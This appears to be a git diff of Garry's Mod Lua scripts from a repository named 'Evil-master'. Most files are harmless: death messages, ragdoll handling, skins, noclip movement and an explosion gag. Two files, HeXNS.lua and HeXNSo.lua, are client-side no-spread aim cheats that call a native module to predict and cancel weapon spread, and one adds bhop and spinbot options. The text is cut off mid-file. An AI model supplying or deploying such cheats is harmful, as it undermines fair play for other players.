"prop_vehicle_airboat" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " couldn't outrun an airboat." ) +message[2] = ( victimname .. " was shredded apart by airboat's rear blades." ) +message[3] = ( victimname .. " didn't notice an airboat just before his nose." ) + +finalmessagekill = message[decider] + +end + +//Pod +if weaponname == "prop_vehicle_prisoner_pod'" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " didn't see it coming." ) +message[2] = ( victimname .. " was successfully landed on." ) +message[3] = ( victimname .. " was killed my the chair." ) + +finalmessagekill = message[decider] + +end + +//--------------------------- + +//Generic kill +if finalmessagekill == nil then + +finalmessagekill = ( killername .. " killed " .. victimname .. " with " .. weaponname .. "." ) + +end + +//Final message +local locateplayers = player.GetAll( ) +for i = 1, table.getn( locateplayers ) do +locateplayers[i]:ChatPrint( finalmessagekill .."\n") +end + +end +end +hook.Add( "PlayerDeath", "DeathNotificationHook", deathnotice ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/Deathfix.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/Deathfix.lua new file mode 100644 index 0000000..307502d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/Deathfix.lua @@ -0,0 +1,46 @@ +local MaxRagdolls = 1 + +if ( SERVER ) then + + AddCSLuaFile( "Deathfix.lua" ) +end + +concommand.Add("sbox_maxdeathragdolls",function(ply,com,arg) + if ply:IsAdmin() and arg[1] and tonumber(arg[1])>0 then + MaxRagdolls=tonumber(arg[1]) + end +end) + +FindMetaTable("Player").CreateRagdoll=function(ply) + if not ply["DeathRagdolls"] then ply["DeathRagdolls"]={} end + local len=ply["DeathRagdolls"] + if #len>=MaxRagdolls and ply["DeathRagdolls"][1]:IsValid() then ply["DeathRagdolls"][1]:Remove() table.remove(ply["DeathRagdolls"],1) end + for k,v in pairs(ply["DeathRagdolls"]) do + if not ply["DeathRagdolls"][k]:IsValid() then + table.remove(ply["DeathRagdolls"],k) + end + end + local temp={} + for i=0, 70 do + if ply:GetBoneMatrix(i) then + table.insert(temp, {i,ply:GetBoneMatrix(i)}) + end + end + local DeathRagdoll=ents.Create("prop_ragdoll") + DeathRagdoll:SetPos(ply:GetPos()) + DeathRagdoll:SetAngles(ply:GetAngles()-Angle(ply:GetAngles().p,0,0)) + DeathRagdoll:SetModel(ply:GetModel()) + DeathRagdoll:Spawn() + table.insert(ply["DeathRagdolls"],DeathRagdoll) + for k,v in pairs(temp) do + DeathRagdoll:SetBoneMatrix(v[1], v[2]) + end + local force=ply:GetVelocity()*2 + for i=0, .2, .05 do + timer.Simple(i, function() if DeathRagdoll:IsValid() then DeathRagdoll:GetPhysicsObject():SetVelocity(force) end end) + end + ply:SpectateEntity(DeathRagdoll) + ply:Spectate(OBS_MODE_CHASE) +end + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/dermaskin.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/dermaskin.lua new file mode 100644 index 0000000..514a727 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/dermaskin.lua @@ -0,0 +1,50 @@ +local dermaskin +local getskintable +local getConVarString = GetConVarString + +if file.Exists"dermaskin.txt" then dermaskin = file.Read"dermaskin.txt" end + +if !ConVarExists"derma_skin" then CreateConVar("derma_skin", dermaskin or "Default") end + +timer.Simple(0, function() + +local dermaskins = derma.GetSkinTable() +timer.Create("RefreshDermaSkins", 1, 0, function() dermaskins = derma.GetSkinTable() end) + +function _R.Panel:SetSkin(name) self.dermaskin = name end + +function derma.SkinHook( strType, strName, panel ) + local Skin + local a = hook.Call("ForceDermaSkin", GAMEMODE) or panel.dermaskin + local p = panel + while (!a and p:GetParent()) do + p = p:GetParent() + a = a or p.dermaskin + end + if a then + if a != panel.lastdermaskin then panel:InvalidateLayout() end + panel.lastdermaskin = a + Skin = dermaskins[a] + else + if !getskintable then getskintable = derma.GetSkinTable end + dermaskin = getConVarString"derma_skin" + if dermaskin != panel.lastdermaskin then panel:InvalidateLayout() end + if !dermaskins[dermaskin] then dermaskin = nil end + panel.lastdermaskin = dermaskin + Skin = dermaskins[dermaskin or "Default"] + end + + if ( !Skin ) then return end + local func = Skin[ strType .. strName ] + local func2 = dermaskins["Default"][ strType .. strName ] + if ( !func ) then return end + + return func( Skin, panel ) + +end + +for k, v in pairs(file.FindInLua("skins/*.lua")) do + include("skins/"..v) +end + +end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sh_oldnoclip.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sh_oldnoclip.lua new file mode 100644 index 0000000..deb7658 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sh_oldnoclip.lua @@ -0,0 +1,111 @@ +--AddCSLuaFile("noclip.lua") + +if( CLIENT ) then + + /*------------------------------------ + CreateMove() + ------------------------------------*/ + local function CreateMove( cmd ) + + local pl = LocalPlayer(); + if( IsValid( pl ) ) then + + // manage movement speeds in noclip, overrides new noclip + if( pl:GetMoveType() == MOVETYPE_NOCLIP || pl:GetMoveType() == MOVETYPE_OBSERVER ) then + + local up = 0; + local right = 0; + local forward = 0; + local maxspeed = pl:GetMaxSpeed(); + + if( cmd:KeyDown( IN_DUCK ) ) then + + up = up - maxspeed; + + end + if( cmd:KeyDown( IN_JUMP ) ) then + + up = up + maxspeed; + + end + // forward/back + if( cmd:KeyDown( IN_FORWARD ) ) then + + forward = forward + maxspeed; + + end + if( cmd:KeyDown( IN_BACK ) ) then + + forward = forward - maxspeed; + + end + + // left/right + if( cmd:KeyDown( IN_MOVERIGHT ) ) then + + right = right + maxspeed; + + end + if( cmd:KeyDown( IN_MOVELEFT ) ) then + + right = right - maxspeed; + + end + + // set speeds + cmd:SetUpMove( up ); + cmd:SetForwardMove( forward ); + cmd:SetSideMove( right ); + + end + + end + + end + hook.Add( "CreateMove", "Noclip.CreateMove", CreateMove ); + +end + +/*------------------------------------ + Move() +------------------------------------*/ +local function Move( pl, mv ) + + // only override the new noclip + if( pl:GetMoveType() != MOVETYPE_NOCLIP and pl:GetMoveType() != MOVETYPE_OBSERVER ) then + + return; + + end + + local deltaTime = FrameTime(); + + // I hate having to get these by name like this. + local noclipSpeed = GetConVarNumber( "sv_noclipspeed" ); + local noclipAccelerate = GetConVarNumber( "sv_noclipaccelerate" ); + + // calculate acceleration for this frame. + local ang = mv:GetMoveAngles(); + local acceleration = ( ang:Forward() * mv:GetForwardSpeed() ) + ( ang:Right() * mv:GetSideSpeed() ) + ( Vector( 0, 0, 1 ) * mv:GetUpSpeed() ); + + // clamp to our max speed, and take into account noclip speed + local accelSpeed = math.min( acceleration:Length(), pl:GetMaxSpeed() ); + local accelDir = acceleration:GetNormal(); + acceleration = accelDir * accelSpeed * noclipSpeed; + + // calculate final velocity with friction + local newVelocity = mv:GetVelocity() + acceleration * deltaTime * noclipAccelerate; + newVelocity = newVelocity * ( 0.95 - deltaTime * 4 ); + + // set velocity + mv:SetVelocity( newVelocity ); + + // move the player + local newOrigin = mv:GetOrigin() + newVelocity * deltaTime; + mv:SetOrigin( newOrigin ); + + return true; + +end +hook.Add( "Move", "Noclip.Move", Move ); + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/skins.rar b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/skins.rar new file mode 100644 index 0000000..b63b7db Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/skins.rar differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sv_Dev.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sv_Dev.lua new file mode 100644 index 0000000..779dbdd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/sv_Dev.lua @@ -0,0 +1,29 @@ + + + +function DevGAN(p,c,a) + timer.Simple(a[1] or 0, function() + GAMEMODE:AddNotify("Test Lol", 1, 8) + surface.PlaySound("npc/roller/mine/rmine_predetonate.wav") + end) +end +concommand.Add("gan_dev", DevGAN) + + + +--[[ +local function dupe(p,c,a) + AdvDupeClient.LoadListDirs["/.."] = dupeshare.BaseDir + + AdvDupeClient.LoadListDirs["/.."] = "ulx_logs" + AdvDupeClient.LoadListFiles = {} + print(dupeshare.ParsePath("ULib")) + + AdvDuplicator_UpdateControlPanel() +end +concommand.Add("dupe_1", dupe) +]] + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/test.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/test.lua new file mode 100644 index 0000000..dd31611 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/test.lua @@ -0,0 +1,145 @@ + + +local amt = CreateConVar("amt_h ", 45, false, false) +local speed = CreateConVar("speed_h", 100, false, false) + +concommand.Add("fuck", function(p,c,a) + local ent = ents.FindByClass("npc_*")[1] + + HACDoHax(ent) +end) + + + + +function HACBigBoom(ply,pwr,fancey) + if not (ply:IsValid()) then return end + local boom00 = ents.Create("env_explosion") + if not fancey then + boom00.HSPNiceBoomDone = true --No HSP fancey explosion + end + boom00:SetOwner(ply) + boom00:SetPos(ply:GetPos()) + boom00:Spawn() + boom00:SetKeyValue("iMagnitude", tostring(pwr)) + boom00:Fire("Explode", 0, 0) +end + +function HACJustEffectNoBoom(ply) + local effectdata = EffectData() + effectdata:SetOrigin( ply:GetPos() ) + util.Effect("hac_dude_explode", effectdata, true, true) +end + +function HACEffectBoom(ply) + if not (ply:IsValid()) then return end + + for i=1,5 do --5 explosions + HACBigBoom(ply,150,true) + end + + HACJustEffectNoBoom(ply) +end + +function HACExplode(ply,fancey) + HACBigBoom(ply,4,fancey) + + timer.Simple(0.3, function() + HACBigBoom(ply,4,fancey) + end) + timer.Simple(0.5, function() + HACBigBoom(ply,4,fancey) + end) + timer.Simple(0.8, function() + HACBigBoom(ply,4,fancey) + end) +end +HACHaxMonitors = { + "models/props_lab/monitor01a.mdl", + "models/props_lab/monitor02.mdl", +} + +function HACDoHax(ply) + + ply:EmitSound("vo/npc/male01/no01.wav") + + + timer.Simple(2, function() + if (ply:IsValid()) then + ply:EmitSound("vo/npc/male01/hacks01.wav") + end + end) + + timer.Simple(3.4, function() + if (ply:IsValid()) then + ply:EmitSound("vo/npc/male01/no02.wav") + end + end) + + timer.Simple(5.37, function() + if not (ply:IsValid()) then return end + + + + ply:Ignite(20,100) + + + local Rocket = ents.Create("hac_rocket") + Rocket:SetPos(ply:GetPos()) + Rocket:SetOwner(ply) + Rocket.Owner = ply + Rocket:SetParent(ply) + Rocket:Spawn() + + HACBigBoom(ply,4,true) + HACExplode(ply) + HACExplode(ply) + + ply:SetVelocity( Vector(0,0,1290) ) + + timer.Simple(1.8, function() + if not (ply:IsValid()) then return end + + HACEffectBoom(ply) + ply:EmitSound("siege/big_explosion.wav") + + for i=1,amt:GetInt() do + local vec = Vector(math.random()*2-1, math.random()*2-1, math.random()*2-1):GetNormal() + + local Monitor = ents.Create("hac_monitor") + Monitor:SetModel( table.Random(HACHaxMonitors) ) + Monitor:SetPos(ply:GetPos() + vec * 15 + Vector(0,0,36)) + Monitor:SetAngles(vec:Angle()) + + Monitor:SetPhysicsAttacker(ply) + Monitor:SetOwner(ply) + Monitor.Owner = ply + + Monitor:PhysicsInit(SOLID_VPHYSICS) + Monitor:SetMoveType(MOVETYPE_VPHYSICS) + Monitor:SetSolid(SOLID_VPHYSICS) + Monitor:Spawn() + util.SpriteTrail(Monitor, 0, color_white, false, 32, 0, 2.5, 1/(15+1)*0.5, "trails/physbeam.vmt") + --Monitor:SetVelocity(vec * 150) + Monitor:Ignite(40,150) + + local phys = Monitor:GetPhysicsObject() + if phys:IsValid() then + phys:SetVelocity(vec * speed:GetInt()) + end + end + + + timer.Simple(0.5, function() + if Rocket:IsValid() then + Rocket:Remove() + end + end) + end) + end) +end + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cmi addons.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cmi addons.lua new file mode 100644 index 0000000..7c54072 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cmi addons.lua @@ -0,0 +1,61 @@ + +local Addons = {} + +local function GetAddons() + if (#Addons != 0) then return Addons end + + for k,v in pairs( file.Find("addons/*", true) ) do + table.insert(Addons, v) + end + return Addons +end + +local function VFSPath(path) + path = "lua/"..path + if file.Exists(path,true) then return path end + + for k,v in pairs( GetAddons() ) do + local APath = "addons/"..v.."/"..path + if file.Exists(APath,true) then + return APath + end + end + + return false +end +local function FindWithAddons(str) + local tab = file.FindInLua(str) + + for k,v in pairs( GetAddons() ) do + table.Add(tab, file.Find("addons/"..v.."/lua/"..str, true) ) + end + + return tab +end + + +local CMIFiles = {} +for k,v in pairs( FindWithAddons("menu_plugins/*.lua") ) do + local path = VFSPath(v) + if path then + table.insert(CMIFiles, path) + end +end + + +local function Load(path) + +end + + +for k,v in pairs(CMIFiles) do + if HAC.StringCheck(v, "ml_B_") then + COLCON(CMIColor, " Loading ", PINK, "Base", WHITE, ": "..v) + Load("custom_menu/"..v) + + elseif HAC.StringCheck(v, "sh_") then + Load("HAC/"..v) + AddCSLuaFile("HAC/"..v) + end +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNS.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNS.lua new file mode 100644 index 0000000..8a04adf --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNS.lua @@ -0,0 +1 @@ + local HeXNoSpread = CreateClientConVar("hex_nospread", 1, true, false) local AimSmooth = CreateClientConVar( "hex_nospread_smooth", 0, true, false ) local clientsidenoclip = false local iZoom = 0 local iZoomAdd = 0 local MoveSpeed = 1 local ucorrected = Angle(0,0,0) local ghostpos = nil local SetViewAngles = _R.CUserCmd.SetViewAngles local ID_GAMETYPE = ID_GAMETYPE or -1 local function HeXSetupMove(objPl, move) if move then MoveSpeed = (move:GetVelocity():Length())/move:GetMaxSpeed() end end local GameTypes = { {check=function () return string.find(GAMEMODE.Name,"Garry Theft Auto") ~= nil end,getcone=function (wep,cone) if type(wep.Base) == "string" then if wep.Base == "civilian_base" then local scale = cone if LocalPlayer():KeyDown(IN_DUCK) then scale = math.Clamp(cone/1.5,0,10) elseif LocalPlayer():KeyDown(IN_WALK) then scale = cone elseif (LocalPlayer():KeyDown(IN_SPEED) or LocalPlayer():KeyDown(IN_JUMP)) then scale = cone + (cone*2) elseif (LocalPlayer():KeyDown(IN_FORWARD) or LocalPlayer():KeyDown(IN_BACK) or LocalPlayer():KeyDown(IN_MOVELEFT) or LocalPlayer():KeyDown(IN_MOVERIGHT)) then scale = cone + (cone*1.5) end scale = scale + (wep:GetNWFloat("Recoil",0)/3) return Vector(scale,0,0) end end return Vector(cone,cone,cone) end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil and type(NUM_WAVES) == "number" end,getcone=function (wep,cone) if wep:GetNetworkedBool("Ironsights",false) then if LocalPlayer():Crouching() then return wep.ConeIronCrouching or cone end return wep.ConeIron or cone elseif 25 < LocalPlayer():GetVelocity():Length() then return wep.ConeMoving or cone elseif LocalPlayer():Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil end,getcone=function (wep,cone) if LocalPlayer():GetVelocity():Length() > 25 then return wep.ConeMoving or cone elseif LocalPlayer():Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(gamemode.Get("ZombRP")) == "table" or type(gamemode.Get("DarkRP")) == "table" end,getcone=function (wep, cone) if type(wep.Base) == "string" and (wep.Base == "ls_snip_base" or wep.Base == "ls_snip_silencebase") then if LocalPlayer():GetNWInt( "ScopeLevel", 0 ) > 0 then print("using scopecone") return wep.Primary.Cone end print("using unscoped cone") return wep.Primary.UnscopedCone end if type(wep.GetIronsights) == "function" and wep:GetIronsights() then return cone end return cone + .05 end}, {check=function () return (GAMEMODE.Data == "falloutmod" and type(Music) == "table") end,getcone=function(wep,cone) if wep.Primary then local LastShootTime = wep.Weapon:GetNetworkedFloat( "LastShootTime", 0 ) local lastshootmod = math.Clamp(wep.LastFireMax + 1 - math.Clamp( (CurTime() - LastShootTime) * wep.LastFireModifier, 0.0, wep.LastFireMax ), 1.0,wep.LastFireMaxMod) local accuracy = wep.Primary.Accuracy if LocalPlayer():IsMoving() then accuracy = accuracy * wep.MoveModifier end if wep.Weapon:GetNetworkedBool( "Ironsights", false ) then accuracy = accuracy * 0.75 end accuracy = accuracy * ((16-(Skills.Marksman or 1))/11) if LocalPlayer():KeyDown(IN_DUCK) then return accuracy*wep.CrouchModifier*lastshootmod else return accuracy*lastshootmod end end end} } local function CheckCheck() for k, v in pairs(GameTypes) do if v.check() then ID_GAMETYPE = k break end end end local tblNormalConeWepBases = { ["weapon_cs_base"] = true } local function GetCone(wep) local cone = wep.Cone if not cone and type(wep.Primary) == "table" and type(wep.Primary.Cone) == "number" then cone = wep.Primary.Cone end if not cone then cone = 0 end --CHeck if wep is HL2 then return corresponding cone if type(wep.Base) == "string" and tblNormalConeWepBases[wep.Base] then return cone end if wep:GetClass() == "ose_turretcontroller" then return 0 end if ID_GAMETYPE ~= -1 then return GameTypes[ID_GAMETYPE].getcone(wep,cone) end return cone or 0 end if not HeXGlobalNSLoaded then HeXGlobalNSLoaded = true require("deco") package.loaded.deco = nil HeXGlobal_hl2_shotmanip = hl2_shotmanip HeXGlobal_hl2_ucmd_getprediciton = hl2_ucmd_getprediciton _G.hl2_shotmanip = nil _G.hl2_ucmd_getprediciton = nil end local currentseed, cmd2, seed = currentseed or 0, 0, 0 local wep, vecCone, valCone local function HeXSpread(cmd,aimAngle) if not HeXNoSpread:GetBool() then return aimAngle end cmd2, seed = HeXGlobal_hl2_ucmd_getprediciton(cmd) if cmd2 ~= 0 then currentseed = seed end wep = LocalPlayer():GetActiveWeapon() vecCone = Vector(0,0,0) if wep and wep:IsValid() and type(wep.Initialize) == "function" then valCone = GetCone(wep) if type(valCone) == "number" then vecCone = Vector(-valCone,-valCone,-valCone) elseif type(valCone) == "Vector" then vecCone = -1*valCone end elseif wep and wep:IsValid() then local class = wep:GetClass() local spreads = { weapon_357 = Vector(0,0,0), weapon_smg1 = Vector(0.04362, 0.04362, 0.04362), weapon_ar2 = Vector(0.02618, 0.02618, 0.02618), weapon_pistol = Vector(0.00873, 0.00873, 0.00873), weapon_shotgun = Vector(0.08716, 0.08716, 0.08716), } if spreads[class] then vecCone = -1*spreads[class] end end return HeXGlobal_hl2_shotmanip(currentseed or 0, (aimAngle or LocalPlayer():GetAimVector():Angle()):Forward(), vecCone):Angle() end local function HeXCMove(cmd) if state && angles!=Angle(0,0,0) then local MouseFixUp = AimSmooth:GetFloat() != 0 and Angle(cmd:GetMouseY() * GetConVarNumber("m_pitch"), cmd:GetMouseX() * -GetConVarNumber("m_yaw")) or Angle(0,0,0) angles = angles + MouseFixUp angles.r=0 ucorrected = angles ucorrected.p = math.NormalizeAngle(ucorrected.p) ucorrected.y = math.NormalizeAngle(ucorrected.y) if (cmd:GetButtons() & IN_ATTACK > 0) then local AntiSpread = HeXSpread(cmd,angles) AntiSpread.p = math.NormalizeAngle(AntiSpread.p) AntiSpread.y = math.NormalizeAngle(AntiSpread.y) SetViewAngles(cmd,AntiSpread) else SetViewAngles(cmd,angles) end else local correct = 1 if iZoom != 0 then correct = ( 1 - ( iZoom / 100 ) ) end if !(IsValid(LocalPlayer():GetActiveWeapon()) && LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" && (cmd:GetButtons() & IN_USE) > 0) then ucorrected.y = math.NormalizeAngle(ucorrected.y + (cmd:GetMouseX() * -0.022 * correct)) ucorrected.p = math.Clamp(ucorrected.p + (cmd:GetMouseY() * 0.022 * correct), -89, 90) end --if !clientsidenoclip:GetBool() || ghostpos == nil then if !clientsidenoclip || ghostpos == nil then if (cmd:GetButtons() & IN_ATTACK > 0) and not IsValid(LocalPlayer():GetVehicle()) then if HeXNoSpread:GetBool() then local ang = HeXSpread(cmd, ucorrected) ang.p = math.NormalizeAngle(ang.p) ang.y = math.NormalizeAngle(ang.y) SetViewAngles(cmd, ang) else SetViewAngles(cmd, ucorrected) end else SetViewAngles(cmd, ucorrected) end end end end local function HeXCalcView( ply, origin, angl, fov ) if IsValid(ply:GetVehicle()) then return end if clientsidenoclip && ghostpos != nil then local view = {} view.origin = ghostpos return view end ghostpos = origin iZoom = math.Clamp( iZoom + ( iZoomAdd * 140 * FrameTime() ), 0, 80 ) if state && angles!=Angle(0,0,0) then local view={} if iZoom > 0 then view.fov = 90 - iZoom end angles.r=0 view.angles= angles return view end local view={} if iZoom > 0 then view.fov = 90 - iZoom end view.angles=ucorrected return view end --hook.Add("SetupMove", "HeXSetupMove", HeXSetupMove) hook.Add("Initialize", "CheckCheck", CheckCheck) hook.Add("CreateMove", "HeXCMove", HeXCMove) hook.Add("CalcView", "HeXCalcView", HeXCalcView) concommand.Add("hex_nospread_kill", function() hook.Remove("Initialize", "CheckCheck") hook.Remove("CreateMove", "HeXCMove") hook.Remove("CalcView", "HeXCalcView") end) concommand.Add("hex_nospread_reload", function() hook.Remove("Initialize", "CheckCheck") hook.Remove("CreateMove", "HeXCMove") hook.Remove("CalcView", "HeXCalcView") timer.Simple(1,function() include("HeX/client/HeXNS.lua") end) end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNSo.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNSo.lua new file mode 100644 index 0000000..7848c17 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/deco/HeXNSo.lua @@ -0,0 +1 @@ + local HeXNoSpread = CreateClientConVar("hex_nospread", 1, true, false) local alwaysnospread = CreateClientConVar( "bacon_always_nospread", 1, true, false ) local AimSmooth = CreateClientConVar( "AimSmooth", 0, true, false ) local clientsidenoclip = CreateClientConVar( "clientsidenoclip", 0, true, false ) local bhop = CreateClientConVar( "bhop", 0, true, false ) local spinbot = CreateClientConVar( "spinbot", 0, true, false ) local gamemodeview = CreateClientConVar( "gamemodeview", 0, true, false ) local recording_mode = false local iZoom = 0 local iZoomAdd = 0 local CL = LocalPlayer() local MoveSpeed = 1 local clear = 0xFFFF - IN_JUMP local ucorrected = Angle(0,0,0) local ghostpos = nil NoSpreadHere = true local SetViewAngles = _R.CUserCmd.SetViewAngles local ID_GAMETYPE = ID_GAMETYPE or -1 function mysetupmove(objPl, move) if move then MoveSpeed = (move:GetVelocity():Length())/move:GetMaxSpeed() end end hook.Add("SetupMove", "HEX1", mysetupmove) local GameTypes = { {check=function () return string.find(GAMEMODE.Name,"Garry Theft Auto") ~= nil end,getcone=function (wep,cone) if type(wep.Base) == "string" then if wep.Base == "civilian_base" then local scale = cone if CL:KeyDown(IN_DUCK) then scale = math.Clamp(cone/1.5,0,10) elseif CL:KeyDown(IN_WALK) then scale = cone elseif (CL:KeyDown(IN_SPEED) or CL:KeyDown(IN_JUMP)) then scale = cone + (cone*2) elseif (CL:KeyDown(IN_FORWARD) or CL:KeyDown(IN_BACK) or CL:KeyDown(IN_MOVELEFT) or CL:KeyDown(IN_MOVERIGHT)) then scale = cone + (cone*1.5) end scale = scale + (wep:GetNWFloat("Recoil",0)/3) return Vector(scale,0,0) end end return Vector(cone,cone,cone) end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil and type(NUM_WAVES) == "number" end,getcone=function (wep,cone) if wep:GetNetworkedBool("Ironsights",false) then if CL:Crouching() then return wep.ConeIronCrouching or cone end return wep.ConeIron or cone elseif 25 < LocalPlayer():GetVelocity():Length() then return wep.ConeMoving or cone elseif CL:Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(TEAM_ZOMBIE) == "number" and type(TEAM_SURVIVORS) == "number" and string.find(GAMEMODE.Name,"Zombie Survival") ~= nil end,getcone=function (wep,cone) if CL:GetVelocity():Length() > 25 then return wep.ConeMoving or cone elseif CL:Crouching() then return wep.ConeCrouching or cone end return cone end}, {check=function () return type(gamemode.Get("ZombRP")) == "table" or type(gamemode.Get("DarkRP")) == "table" end,getcone=function (wep, cone) if type(wep.Base) == "string" and (wep.Base == "ls_snip_base" or wep.Base == "ls_snip_silencebase") then if CL:GetNWInt( "ScopeLevel", 0 ) > 0 then print("using scopecone") return wep.Primary.Cone end print("using unscoped cone") return wep.Primary.UnscopedCone end if type(wep.GetIronsights) == "function" and wep:GetIronsights() then return cone end return cone + .05 end}, {check=function () return (GAMEMODE.Data == "falloutmod" and type(Music) == "table") end,getcone=function(wep,cone) if wep.Primary then local LastShootTime = wep.Weapon:GetNetworkedFloat( "LastShootTime", 0 ) local lastshootmod = math.Clamp(wep.LastFireMax + 1 - math.Clamp( (CurTime() - LastShootTime) * wep.LastFireModifier, 0.0, wep.LastFireMax ), 1.0,wep.LastFireMaxMod) local accuracy = wep.Primary.Accuracy if CL:IsMoving() then accuracy = accuracy * wep.MoveModifier end if wep.Weapon:GetNetworkedBool( "Ironsights", false ) then accuracy = accuracy * 0.75 end accuracy = accuracy * ((16-(Skills.Marksman or 1))/11) if CL:KeyDown(IN_DUCK) then return accuracy*wep.CrouchModifier*lastshootmod else return accuracy*lastshootmod end end end} } function CheckCheck() for k, v in pairs(GameTypes) do if v.check() then ID_GAMETYPE = k break end end end hook.Add("Initialize", "HEX2", CheckCheck) local tblNormalConeWepBases = { ["weapon_cs_base"] = true } local function GetCone(wep) local cone = wep.Cone if not cone and type(wep.Primary) == "table" and type(wep.Primary.Cone) == "number" then cone = wep.Primary.Cone end if not cone then cone = 0 end --CHeck if wep is HL2 then return corresponding cone if type(wep.Base) == "string" and tblNormalConeWepBases[wep.Base] then return cone end if wep:GetClass() == "ose_turretcontroller" then return 0 end if ID_GAMETYPE ~= -1 then return GameTypes[ID_GAMETYPE].getcone(wep,cone) end return cone or 0 end require("deco") package.loaded.deco = nil local nospread = hl2_shotmanip local prediction = hl2_ucmd_getprediciton _G.hl2_shotmanip = nil _G.hl2_ucmd_getprediciton = nil local currentseed, cmd2, seed = currentseed or 0, 0, 0 local wep, vecCone, valCone function PredictSpread(cmd,aimAngle) if not HeXNoSpread:GetBool() then return aimAngle end cmd2, seed = prediction(cmd) if cmd2 ~= 0 then currentseed = seed end wep = LocalPlayer():GetActiveWeapon() vecCone = Vector(0,0,0) if wep and wep:IsValid() and type(wep.Initialize) == "function" then valCone = GetCone(wep) if type(valCone) == "number" then vecCone = Vector(-valCone,-valCone,-valCone) elseif type(valCone) == "Vector" then vecCone = -1*valCone end elseif wep and wep:IsValid() then local class = wep:GetClass() local spreads = { weapon_357 = Vector(0,0,0), weapon_smg1 = Vector(0.04362, 0.04362, 0.04362), weapon_ar2 = Vector(0.02618, 0.02618, 0.02618), weapon_pistol = Vector(0.00873, 0.00873, 0.00873), weapon_shotgun = Vector(0.08716, 0.08716, 0.08716), } if spreads[class] then vecCone = -1*spreads[class] end end return nospread(currentseed or 0, (aimAngle or LocalPlayer():GetAimVector():Angle()):Forward(), vecCone):Angle() end local function bcmove(cmd) if state && angles!=Angle(0,0,0) then local MouseFixUp = AimSmooth:GetFloat() != 0 and Angle(cmd:GetMouseY() * GetConVarNumber("m_pitch"), cmd:GetMouseX() * -GetConVarNumber("m_yaw")) or Angle(0,0,0) angles = angles + MouseFixUp angles.r=0 ucorrected = angles ucorrected.p = math.NormalizeAngle(ucorrected.p) ucorrected.y = math.NormalizeAngle(ucorrected.y) if NoSpreadHere and (cmd:GetButtons() & IN_ATTACK > 0) then local AntiSpread = PredictSpread(cmd,angles) AntiSpread.p = math.NormalizeAngle(AntiSpread.p) AntiSpread.y = math.NormalizeAngle(AntiSpread.y) SetViewAngles(cmd,AntiSpread) else SetViewAngles(cmd,angles) end else local correct = 1 if iZoom != 0 then correct = ( 1 - ( iZoom / 100 ) ) end if !(IsValid(LocalPlayer():GetActiveWeapon()) && LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" && (cmd:GetButtons() & IN_USE) > 0) then ucorrected.y = math.NormalizeAngle(ucorrected.y + (cmd:GetMouseX() * -0.022 * correct)) ucorrected.p = math.Clamp(ucorrected.p + (cmd:GetMouseY() * 0.022 * correct), -89, 90) end if !clientsidenoclip:GetBool() || ghostpos == nil then if (cmd:GetButtons() & IN_ATTACK > 0) and not IsValid(LocalPlayer():GetVehicle()) then if NoSpreadHere and alwaysnospread:GetBool() then local ang = PredictSpread(cmd, ucorrected) ang.p = math.NormalizeAngle(ang.p) ang.y = math.NormalizeAngle(ang.y) SetViewAngles(cmd, ang) else SetViewAngles(cmd, ucorrected) end else SetViewAngles(cmd, ucorrected) end end end if clientsidenoclip:GetBool() && ghostpos != nil then local add = Vector( 0, 0, 0 ) local ang = ucorrected if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end if 